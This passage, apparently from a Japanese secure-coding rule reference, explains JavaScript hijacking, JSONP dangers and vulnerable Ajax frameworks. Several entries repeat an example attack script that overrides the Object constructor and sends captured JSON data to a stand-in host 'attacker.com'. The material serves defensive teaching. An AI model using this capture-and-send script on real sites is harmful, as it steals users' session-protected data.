req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);


このコードが実行されると、次のような HTTP リクエストが生成されます。


GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR


(この HTTP レスポンスおよび後続のコードでは、この説明に直接関係のない HTTP ヘッダーは省略されています。)
サーバーは JSON 形式の配列を使用してレスポンスします。


HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]


この場合、JSON には現在のユーザーに関する機密情報 (有益な顧客リスト) が含まれています。このユーザーのセッション ID を把握していない場合、他のユーザーはこの情報にはアクセスできません(最近の Web アプリケーションは、セッション ID は cookie として保存されます)。しかし、ユーザー (被害者) が悪意ある Web サイトにアクセスすると、この悪意あるサイトは JavaScript 乗っ取り攻撃によりこの情報を取得することが可能となります。ユーザーが以下のような悪意あるコードが含む Web ページにアクセスするように仕組まれる場合、この被害者の顧客リストが攻撃者の Web サイトに送信されてしまいます。


<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}

// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>

<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>


この悪意あるコードでは、現在のページに JSON オブジェクトを追加するためにスクリプトタグが使用されています。Web ブラウザは、リクエストと共に適切なセッション cookie を送信します。言い換えると、このリクエストは正規のアプリケーションから出されたものとして処理されます。

JSON 配列がこのクライアントに到着すると、悪意あるページのコンテキストで評価されます。JSON の評価を見るために、悪意あるページでは新しいオブジェクトを作成するようにこの JavaScript 関数が再定義されています。このように、悪意あるコードにより仕掛けが挿入され、作成された各オブジェクトにアクセスされオブジェクトのコンテンツが悪意あるサイトへ転送されるようになります。また、他の攻撃により配列のデフォルトの構造体が上書きされる場合もあります。マッシュアップでの使用を目的としてビルドされているアプリケーションは、各 JavaScript メッセージの最後でコールバック関数を呼び出すことがあります。このコールバック関数は、マッシュアップにおける他のアプリケーションにより定義されるようになっています。このコールバック関数の存在が JavaScript 乗っ取り攻撃の実行を容易にしています。攻撃者が実行する必要があるのは、関数を定義することだけです。アプリケーションはマッシュアップ対応にすることもできます。また、セキュリティを重視するようにすることもできますが、それらを両立することはできません。脆弱なサイト ユーザーがログインすると、攻撃者はユーザーにログインするように求め、次にアプリケーションの正規のログイン ページを表示することで、この攻撃を行うことができます。

攻撃者はユーザーの認証情報にはアクセスできませんので、これはフィッシング攻撃ではありません。そのため、フィッシング攻撃への対応策では、この攻撃を防ぐことはできません。さらに複雑な攻撃では、動的にスクリプトタグを生成する JavaScript を使用し、アプリケーションに対して一連のリクエストを行うことが可能です。これと同じ手法はアプリケーションマッシュアップを作成するために使用されます。このマッシュアップシナリオにおける唯一の相違点は、関連付けられるアプリケーションの 1 つが悪意あるものであることです。

例 2: 次のコードは、JSON 配列の形式で機密データを含む JSON レスポンスを送信するサンプル Django 表示メソッドです。


from django.http.response import JsonResponse
...
def handle_upload(request):
response = JsonResponse(sensitive_data, safe=False) # Sensitive data is stored in a list
return response
References
[1] B. Chess, Y. O'Neil, and J. West JavaScript Hijacking
[2] Joe Walker JSON is not as safe as people think it is
[3] Jeremiah Grossman Advanced Web Attack Techniques using GMail
[4] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1
[5] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[6] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 2
[7] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 7
[8] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[10] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[13] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[14] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[28] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[29] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.structural.python.javascript_hijacking_constructor_poisoning
Abstract
JSONP は安全でない通信技術であり、個人データや機密データが含まれず、コールバック関数の不要な部分を削除する場合にのみ使うようにする必要があります。
Explanation
JSONP は、設計上クロスドメインリクエストの実行を許可しますが、リクエスト元を制限および検証するための仕組みは用意されていません。悪意あるサイトがユーザーになりすまして簡単に JSONP リクエストを実行し、JSON レスポンスを処理することが可能です。このため、PII または機密データが送信されるときには、この通信技術を使用しないことを強く推奨します。
JSONP は、JSON の適切な処理のために要求側サイトにコールバック関数名を反映する必要があるため、XSS 攻撃を自ら招くように設計されています。JavaScript インジェクションを回避するために、コールバック関数名を検証し、不要な部分を削除する必要があります。コールバック関数名の不要な部分を削除するためには、可能な場合は許可リストの導入を検討するか、文字を英数字のみに制限します。
References
[1] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1
[2] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[3] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 2
[4] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 7
[5] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[6] Standards Mapping - Common Weakness Enumeration CWE ID 346
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[8] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[10] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[11] Standards Mapping - OWASP Top 10 2021 A07 Identification and Authentication Failures
[12] Standards Mapping - OWASP Application Security Verification Standard 4.0 3.5.3 Token-based Session Management (L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 14.5.2 Validate HTTP Request Header Requirements (L1 L2 L3), 14.5.3 Validate HTTP Request Header Requirements (L1 L2 L3)
[13] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[14] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[28] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[29] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.semantic.dotnet.javascript_hijacking_jsonp
Abstract
JSONP は安全でない通信技術であり、個人データや機密データが含まれていない場合にのみ使うようにする必要があります。
Explanation
JSONP は、設計上クロスドメインリクエストの実行を許可しますが、リクエスト元を制限および検証するための仕組みは用意されていません。 悪意あるサイトがユーザーになりすまして簡単に JSONP リクエストを実行し、JSON レスポンスを処理することが可能です。 このため、PII または機密データが送信されるときには、この通信技術を使用しないことを強く推奨します。
References
[1] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1
[2] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[3] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 2
[4] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 7
[5] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[6] Standards Mapping - Common Weakness Enumeration CWE ID 346
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[8] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[10] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[11] Standards Mapping - OWASP Top 10 2021 A07 Identification and Authentication Failures
[12] Standards Mapping - OWASP Application Security Verification Standard 4.0 3.5.3 Token-based Session Management (L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 14.5.2 Validate HTTP Request Header Requirements (L1 L2 L3), 14.5.3 Validate HTTP Request Header Requirements (L1 L2 L3)
[13] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[14] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[28] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[29] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.structural.scala.javascript_hijacking_jsonp
Abstract
Microsoft AJAX.NET (Atlas) を利用するアプリケーションは、JavaScript 乗っ取り攻撃に対して脆弱である可能性があり、権限のない攻撃者が機密データを読み取ることができるようになります。
Explanation
Microsoft AJAX.NET (Atlas) は JSON を使用してサーバーとクライアント間でデータを転送します。このフレームワークは、<script> タグを使用して評価される有効な JavaScript から構成されるレスポンスを生成するため、JavaScript 乗っ取り攻撃に対して脆弱となります [1]。既定では、このフレームワークは POST メソッドを使用してリクエストを送信します。そのため、悪意ある <script> タグからリクエストを生成することは困難です (<script> タグは GET リクエストのみを生成するため)。しかし、Microsoft AJAX.NET では、GET リクエストを使用するメカニズムが利用できるようになっています。実際、多くの専門家が、ブラウザのキャッシュ機能を活用してパフォーマンスを向上するために GET リクエストを使用することをプログラマに対して奨励しています。

アプリケーションは、データ転送形式として JavaScript オブジェクトを使用する場合、および機密データを扱う場合に、JavaScript 乗っ取り攻撃に対して脆弱となる可能性があります。JavaScript 乗っ取り攻撃はコード作成ミスの直接的な結果として発生するものではありません。そのため、Fortify Secure Coding Rulepacks では、HTTP レスポンスで JavaScript を生成する可能性があるコードを識別して、潜在的な JavaScript 乗っ取り攻撃の脆弱性に注意するよう呼び掛けています。

Web ブラウザでは、悪意ある Web サイトからユーザーを保護するために同一生成元ポリシーが強制されます。同一生成元ポリシーでは、JavaScript が Web ページのコンテンツにアクセスできるように、JavaScript および Web ページの両方が同じドメインを由来としていることが必要とされます。同一生成元ポリシーが適用されない場合、他の Web サイトからクライアントの証明書を使用して機密性の高い情報をロードして選び取り、攻撃者にこれらの情報を戻す JavaScript が悪意ある Web サイトによって仕組まれる可能性があります。JavaScript 乗っ取り攻撃により、Web アプリケーションが機密情報のやり取りに JavaScript を使用する場合に、攻撃者は 同一生成元ポリシーを回避することが可能となります。同一生成元ポリシーに抜け穴があると、任意の Web サイトの JavaScript が追加され他の Web サイトのコンテンツが実行されることになります。悪意あるサイトはクライアント上の脆弱なサイトからロードされたデータを直接調べることはできませんが、JavaScript の実行やその実行によって引き起こされる副次的な状況を把握できる環境を整えるという方法で、この抜け穴を利用することができます。多くの Web 2.0 アプリケーションはデータ転送メカニズムとして JavaScript を使用しているため、脆弱となるケースが多くなっています (通常の Web アプリケーションは脆弱ではありません)。

JavaScript で情報をやり取りする場合の最も一般的な形式は JavaScript Object Notation (JSON) です。JSON RFC により、JSON 構文は JavaScript オブジェクトリテラル構文のサブセットとして定義されています。JSON は、配列とオブジェクトの 2 種類のデータ構造に基づいています。メッセージを 1 つ以上の有効な JavaScript ステートメントとして解釈することができるあらゆるデータ転送形式は、JavaScript 乗っ取り攻撃に対して脆弱です。JSON 配列は有効な JavaScript ステートメントとして独立しているため、JSON では JavaScript 乗っ取り攻撃を受けやすくなります。配列はリストをやり取りする場合に最も一般的に使用される形式であるため、アプリケーションが複数の値をやり取りする必要がある場合には頻繁に使用されます。言い換えれば、JSON 配列は JavaScript 乗っ取り攻撃に対して直接脆弱となっています。JSON オブジェクトは有効な JavaScript ステートメントとして独立している別の JavaScript 構造体にラップされる場合にのみ、脆弱となります。

例 1: 次の例ではまず、有益な顧客リストを管理するために使用される Web アプリケーションのクライアント コンポーネントおよびサーバー コンポーネント間における正規の JSON の相互処理について示します。次に、攻撃者がクライアントになりすまし、サーバーが返す機密データにアクセスする方法を示します。この例は Mozilla ベースのブラウザについて記述したものです。他の主要なブラウザでは、新しい演算子を使用せずにオブジェクトが作成される場合にネイティブ構造体は上書きできなくなっています。

クライアントはサーバーからデータをリクエストして、次のコードで JSON として結果を評価します。


var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);


このコードが実行されると、次のような HTTP リクエストが生成されます。


GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR


(この HTTP レスポンスおよび後続のコードでは、この説明に直接関係のない HTTP ヘッダーは省略されています。)
サーバーは JSON 形式の配列を使用してレスポンスします。


HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]


この場合、JSON には現在のユーザーに関する機密情報 (有益な顧客リスト) が含まれています。このユーザーのセッション ID を把握していない場合、他のユーザーはこの情報にはアクセスできません(最近の Web アプリケーションは、セッション ID は cookie として保存されます)。しかし、ユーザー (被害者) が悪意ある Web サイトにアクセスすると、この悪意あるサイトは JavaScript 乗っ取り攻撃によりこの情報を取得することが可能となります。ユーザーが以下のような悪意あるコードが含む Web ページにアクセスするように仕組まれる場合、この被害者の顧客リストが攻撃者の Web サイトに送信されてしまいます。


<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}

// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>

<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>


この悪意あるコードでは、現在のページに JSON オブジェクトを追加するためにスクリプトタグが使用されています。Web ブラウザは、リクエストと共に適切なセッション cookie を送信します。言い換えると、このリクエストは正規のアプリケーションから出されたものとして処理されます。

JSON 配列がこのクライアントに到着すると、悪意あるページのコンテキストで評価されます。JSON の評価を見るために、悪意あるページでは新しいオブジェクトを作成するようにこの JavaScript 関数が再定義されています。このように、悪意あるコードにより仕掛けが挿入され、作成された各オブジェクトにアクセスされオブジェクトのコンテンツが悪意あるサイトへ転送されるようになります。また、他の攻撃により配列のデフォルトの構造体が上書きされる場合もあります。マッシュアップでの使用を目的としてビルドされているアプリケーションは、各 JavaScript メッセージの最後でコールバック関数を呼び出すことがあります。このコールバック関数は、マッシュアップにおける他のアプリケーションにより定義されるようになっています。このコールバック関数の存在が JavaScript 乗っ取り攻撃の実行を容易にしています。攻撃者が実行する必要があるのは、関数を定義することだけです。アプリケーションはマッシュアップ対応にすることもできます。また、セキュリティを重視するようにすることもできますが、それらを両立することはできません。脆弱なサイト ユーザーがログインすると、攻撃者はユーザーにログインするように求め、次にアプリケーションの正規のログイン ページを表示することで、この攻撃を行うことができます。

攻撃者はユーザーの認証情報にはアクセスできませんので、これはフィッシング攻撃ではありません。そのため、フィッシング攻撃への対応策では、この攻撃を防ぐことはできません。さらに複雑な攻撃では、動的にスクリプトタグを生成する JavaScript を使用し、アプリケーションに対して一連のリクエストを行うことが可能です。これと同じ手法はアプリケーションマッシュアップを作成するために使用されます。このマッシュアップシナリオにおける唯一の相違点は、関連付けられるアプリケーションの 1 つが悪意あるものであることです。
References
[1] B. Chess, Y. O'Neil, and J. West JavaScript Hijacking
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1
[3] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 2
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 12
[6] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[8] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[10] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[11] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[12] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[26] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[27] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.semantic.dotnet.javascript_hijacking_vulnerable_framework
Abstract
DWR Ajax フレームワーク 1.1.4 以前のバージョンを利用するアプリケーションは、JavaScript 乗っ取り攻撃に対して脆弱です。この攻撃を受けると、権限のない攻撃者に機密データを読み取られます。
Explanation
1.1.4 までのすべてのリリース済みバージョンを含む DWR は、JavaScript 乗っ取り攻撃に対して脆弱です [1]。これまで、このフレームワークには、脆弱性を防ぐメカニズムが組み込まれていませんでした。DWR 2.0 では、Cross-Site Request Forgery を防止するように設計されたメカニズムによって、JavaScript 乗っ取り攻撃から保護されるようになりました。この保護は、悪意のあるスクリプトが、他のドメインによって設定された cookie に保存されたシークレットを読み取れないという事実を利用しています。そのため、フレームワークは cookie に保存された値をクライアントとサーバー間で共有されるシークレットとして使用できます。DWR 2.0 は、クライアントのリクエストにセッション cookie を自動的に追加し、サーバー上で各リクエストに正しい値が含まれていることを確認します。

次の場合にアプリケーションは JavaScript 乗っ取り攻撃に対して脆弱となる可能性があります。1) データ転送形式として JavaScript オブジェクトを使用する場合。2) 機密データを扱う場合。JavaScript 乗っ取り攻撃はコード作成ミスの直接的な結果として発生するものではありません。そのため、Fortify Secure Coding Rulepacks では、HTTP レスポンスで JavaScript を生成する可能性があるコードを識別して、潜在的な JavaScript 乗っ取り攻撃の脆弱性に注意するよう呼び掛けています。

Web ブラウザーは、悪意のある Web サイトからユーザーを保護するために、同一生成元ポリシーを適用します。同一生成元ポリシーは、JavaScript が Web ページのコンテンツにアクセスできるように、JavaScript と Web ページの両方が同じドメインを由来としていることを求めます。同一生成元ポリシーが適用されない場合、他の Web サイトからクライアントの証明書を使用して機密性の高い情報をロードして選び取り、攻撃者にこれらの情報を戻す JavaScript が悪意ある Web サイトによって仕組まれる可能性があります。JavaScript 乗っ取り攻撃により、Web アプリケーションが JavaScript を使用して機密情報を通信する場合、攻撃者が同一生成元ポリシーをバイパスできてしまいます。同一生成元ポリシーの抜け穴は、Web サイトの JavaScript を他の Web サイトのコンテキストに組み込んで実行できてしまうことです。悪意のあるサイトは、クライアントの脆弱なサイトから読み込まれたデータを直接調べることはできませんが、JavaScript の実行とそれに関連する副作用を監視する環境を構築することで、この抜け穴を利用します。従来の Web アプリケーションとは異なり、多くの Web 2.0 アプリケーションはデータ転送メカニズムとして JavaScript を使用しているため脆弱です。

JavaScript で情報を伝達するための最も一般的な形式は、JavaScript Object Notation (JSON) です。JSON RFC は、JSON 構文を JavaScript オブジェクト リテラル構文のサブセットとして定義しています。JSON は、配列とオブジェクトという 2 種類のデータ構造に基づいています。メッセージを 1 つ以上の有効な JavaScript ステートメントとして解釈できるデータ転送形式は、JavaScript 乗っ取り攻撃に対して脆弱です。JSON は、JSON 配列が有効な JavaScript ステートメントとして独立しているため、JavaScript 乗っ取り攻撃を容易にします。配列は、リストをやりとりするための自然な形式であるため、アプリケーションが複数の値をやりとりする必要がある場合にはよく使用されます。言い換えると、JSON 配列は JavaScript 乗っ取り攻撃に対して直接的に脆弱です。JSON オブジェクトは、それ自体が有効な JavaScript ステートメントとして機能する他の JavaScript 構造でラップされている場合にのみ脆弱です。

例 1: 次の例はまず、見込み客の管理に使用する Web アプリケーションのクライアント コンポーネントとサーバー コンポーネント間で行われる正当な JSON インタラクションを示しています。続いて、攻撃者がどのようにクライアントを模倣し、サーバーが返す機密データにアクセスするかを示します。この例は、Mozilla ベースのブラウザー向けに記述されています。他の有名ブラウザーでは、new 演算子を使用せずにオブジェクトを作成するときに、ネイティブ コンストラクターをオーバーライドできません。

クライアントはサーバーにデータを要求し、次のコードを使用して結果を JSON として評価します。


var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);


このコードが実行されると、次のような HTTP リクエストが生成されます。


GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR


(この HTTP レスポンスとそれに続くレスポンスでは、この説明に直接関係のない HTTP ヘッダーを省略しています。)
サーバーは JSON 形式の配列で応答します。


HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]


この場合、JSON には、現在のユーザーに関連付けられた機密情報 (見込み客のリスト) が含まれます。他のユーザーは、ユーザーのセッション ID を知らずにこの情報にアクセスすることはできません。(最近のほとんどの Web アプリケーションでは、セッション ID は cookie として保存されます。)しかし、被害者が悪意のある Web サイトにアクセスすると、悪意のあるサイトは JavaScript 乗っ取り攻撃を使用して情報を取得できます。被害者が、次の悪意のあるコードを含む Web ページにだまされてアクセスすると、被害者の見込み客情報が攻撃者の Web サイトに送信されます。


<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}

// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>

<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>


悪意のあるコードは、スクリプト タグを使用して、現在のページに JSON オブジェクトを組み込みます。Web ブラウザーは、リクエストとともに適切なセッション cookie を送信します。つまり、このリクエストは、正当なアプリケーションから発信されたように見える方法で処理されます。

JSON 配列がクライアントに到着すると、悪意のあるページのコンテキストで評価されます。JSON の評価を監視するため、悪意のあるページは、新しいオブジェクトの作成に使用される JavaScript 関数を再定義しています。このようにして、悪意のあるコードは、各オブジェクトの作成に関与してオブジェクトのコンテンツを悪意のあるサイトに送り返すことを可能にするフックを挿入しました。他の攻撃が、代わりに配列のデフォルト コンストラクターをオーバーライドする場合もあります。マッシュアップで使用するように構築されたアプリケーションは、各 JavaScript メッセージの最後にコールバック関数を呼び出すことがあります。コールバック関数は、マッシュアップ内の別のアプリケーションによって定義されることになっています。コールバック関数により、JavaScript 乗っ取り攻撃は些細な操作になります。攻撃者にとっては、関数を定義すればよいだけだからです。アプリケーションは、マッシュアップで使用することも、セキュアにすることもできますが、両方は実現できません。ユーザーが脆弱なサイトにログインしていなくても、攻撃者は代わりにユーザーにログインを要求し、アプリケーションの正当なログイン ページを表示する可能性があります。

これはフィッシング攻撃ではないため (攻撃者はユーザーの資格情報にアクセスしない)、フィッシング対策を講じても攻撃を打破できません。さらに複雑な攻撃は、JavaScript を使用してスクリプト タグを動的に生成することにより、アプリケーションに対してリクエストを連続して送ることです。これと同じ手法が、アプリケーションのマッシュアップを作成するために使用されることがあります。唯一の違いは、このマッシュアップ シナリオでは、関与するアプリケーションのいずれかが悪意のあるアプリケーションであるという点です。
References
[1] B. Chess, Y. O'Neil, and J. West JavaScript Hijacking
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1
[3] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 2
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 12
[6] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[8] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
